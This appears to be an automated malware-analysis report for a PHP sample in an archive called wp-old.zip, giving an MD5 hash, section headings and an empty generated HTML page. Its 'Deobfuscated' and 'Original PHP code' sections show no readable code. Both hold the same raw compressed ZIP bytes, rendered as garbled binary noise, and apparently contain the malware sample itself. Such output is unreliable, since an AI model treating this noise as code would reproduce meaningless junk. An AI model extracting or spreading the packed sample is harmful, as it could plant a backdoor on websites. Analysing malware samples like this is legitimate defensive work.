PHP Malware Analysis

wp-old.zip

md5: 163d0ec224559a020306530a86556565

Jump to:

Screenshot


Attributes


Deobfuscated PHP code

PK*W�Ty�k�zZ
wp-old.php�Xmo�6��_�u�JFb�i��by���E_$��MF�,�J�@Qq���{��dK2�{{�`K��3/��h��H�� �X$)g��.�$����1z ���`���^�"�q���
g�b���3�$���5�t�nC?��>�y�Y쎢<>F#�$g(D	�J҈�bUߩkT�$��n4
HQ4ka�Ƚx�H��6p�	r[���T���#2�/����%^��a������잰��Ľ���˪tP8G�����)�J��jt���Z����ʭ+OV�^5�c�Գ�kM;���ǃ�Ak6���2��Ј���Ќ܃O ��B&Kׁ|�����
��r�Z޳*��
�}��eI�vm2W�]WL�ۍ���ml�Rx��E	:v��e�qN�@E�pN�}���c��f�2Z�6���b�ڱ�-27ɶ��kKk���T�%bd�6��:��bĸ��V����l<�Bm��܆׎�m��������
-�ʼ�fob�UAt����x�Qf�ʌ̯U��	:���.��D)ob�5F��a�vO�r���)z7����r��?�]�q�i!x��}3�N�)�XL�d��@L��l��3^8"�u ��l�@XS�%��[��$2@-��\J��{�oǔ-t�^]�X��J�'��h��ZE*�ϓ��E*�To{TbAA�)•��u�DD���d�{����1a-�R*�D{%@� ���E�5��Q�)@�o����>�G,�'�Mw����J*ʓ������tF�x��3�E�
�5�݌Z���"m��y�"yW˨%o;��� v�x�@��"b":Kv5)k���[��?�׿b���x%��(Dl�V�w��9<�M���D6)mJ�*u�
Ѯz��83�掷��o֚#J����E4�MB�3�j�1}�o7�:�odi)�-��p^Kؾ�g�~ovw�3,�QU��>�7�+���!�pY���
�3�U$�p�=�Li��'d��VE�O2U0��&ly�S��լ�ッ��K����n.�/��o#�O�K8�9�!��{��=��3
m�<�2=�b���e1�!�Ӫʡ���0�Ȉ��y���&��M
����
�����C@�O��=��7�����;�ʄ��Qz��ڡ�}C�z��٢	D[BN�!n�ȱ��2u��G�ZC�������n8���s
�L(�����I\�/׽=����C0��~��c_uM0ze�Q�v�Q�GJF�U�4 ͏6NJ�A�Q�L���آ<~,���J�K����E
�u��9b&�s�
d���:���z��@�Ǫ��
^�=���ުT&��;+�~�a�W$����<�6��n�˷�;t�c
6�|�6�Őt��0�{�V��
�&��U�
i�B~eɑV�Kh8���l5�ǃ��	��
J"�J�:�Ȫ*`Zr_��F������\R=�d�"'�'?֗�ݺ���	gzh;�ܦU���
�?(�m��p��A3�o/�;���G���K��^}ބ!��ۓC޳ �N&��ܡϟ:|�嶿�~��{�\rt�s�a��=�u�ڋӃiCu�M?�f2��^���[�T?6�ݺ�X�t���
6�9YB��_?�z��Ѯ�ۏ�x5^�^7��"١M��	6�S�#��G/$9��ANd�a~q�����|#Te�?�\��Nι�J6�Y�H\@�`�곚sl�;��G+�n\�wA�4�_���Ã9~�����@�b͓)a�� �:����M�j��z �����oWB-�}i�X�;nz}y�r��6�����V��G[؇���0a�,��
����3�i�I�8F�h^��#�m�=��Y�G7��j�0kF��Pj��7���W{�b��oPK*W�Ty�k�zZ
$ wp-old.php
 檽�/l���I�3���^o2��PK\�

Execution traces


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

PK*W�Ty�k�zZ
wp-old.php�Xmo�6��_�u�JFb�i��by���E_$��MF�,�J�@Qq���{��dK2�{{�`K��3/��h��H�� �X$)g��.�$����1z ���`���^�"�q���
g�b���3�$���5�t�nC?��>�y�Y쎢<>F#�$g(D	�J҈�bUߩkT�$��n4
HQ4ka�Ƚx�H��6p�	r[���T���#2�/����%^��a������잰��Ľ���˪tP8G�����)�J��jt���Z����ʭ+OV�^5�c�Գ�kM;���ǃ�Ak6���2��Ј���Ќ܃O ��B&Kׁ|�����
��r�Z޳*��
�}��eI�vm2W�]WL�ۍ���ml�Rx��E	:v��e�qN�@E�pN�}���c��f�2Z�6���b�ڱ�-27ɶ��kKk���T�%bd�6��:��bĸ��V����l<�Bm��܆׎�m��������
-�ʼ�fob�UAt����x�Qf�ʌ̯U��	:���.��D)ob�5F��a�vO�r���)z7����r��?�]�q�i!x��}3�N�)�XL�d��@L��l��3^8"�u ��l�@XS�%��[��$2@-��\J��{�oǔ-t�^]�X��J�'��h��ZE*�ϓ��E*�To{TbAA�)•��u�DD���d�{����1a-�R*�D{%@� ���E�5��Q�)@�o����>�G,�'�Mw����J*ʓ������tF�x��3�E�
�5�݌Z���"m��y�"yW˨%o;��� v�x�@��"b":Kv5)k���[��?�׿b���x%��(Dl�V�w��9<�M���D6)mJ�*u�
Ѯz��83�掷��o֚#J����E4�MB�3�j�1}�o7�:�odi)�-��p^Kؾ�g�~ovw�3,�QU��>�7�+���!�pY���
�3�U$�p�=�Li��'d��VE�O2U0��&ly�S��լ�ッ��K����n.�/��o#�O�K8�9�!��{��=��3
m�<�2=�b���e1�!�Ӫʡ���0�Ȉ��y���&��M
����
�����C@�O��=��7�����;�ʄ��Qz��ڡ�}C�z��٢	D[BN�!n�ȱ��2u��G�ZC�������n8���s
�L(�����I\�/׽=����C0��~��c_uM0ze�Q�v�Q�GJF�U�4 ͏6NJ�A�Q�L���آ<~,���J�K����E
�u��9b&�s�
d���:���z��@�Ǫ��
^�=���ުT&��;+�~�a�W$����<�6��n�˷�;t�c
6�|�6�Őt��0�{�V��
�&��U�
i�B~eɑV�Kh8���l5�ǃ��	��
J"�J�:�Ȫ*`Zr_��F������\R=�d�"'�'?֗�ݺ���	gzh;�ܦU���
�?(�m��p��A3�o/�;���G���K��^}ބ!��ۓC޳ �N&��ܡϟ:|�嶿�~��{�\rt�s�a��=�u�ڋӃiCu�M?�f2��^���[�T?6�ݺ�X�t���
6�9YB��_?�z��Ѯ�ۏ�x5^�^7��"١M��	6�S�#��G/$9��ANd�a~q�����|#Te�?�\��Nι�J6�Y�H\@�`�곚sl�;��G+�n\�wA�4�_���Ã9~�����@�b͓)a�� �:����M�j��z �����oWB-�}i�X�;nz}y�r��6�����V��G[؇���0a�,��
����3�i�I�8F�h^��#�m�=��Y�G7��j�0kF��Pj��7���W{�b��oPK*W�Ty�k�zZ
$ wp-old.php
 檽�/l���I�3���^o2��PK\�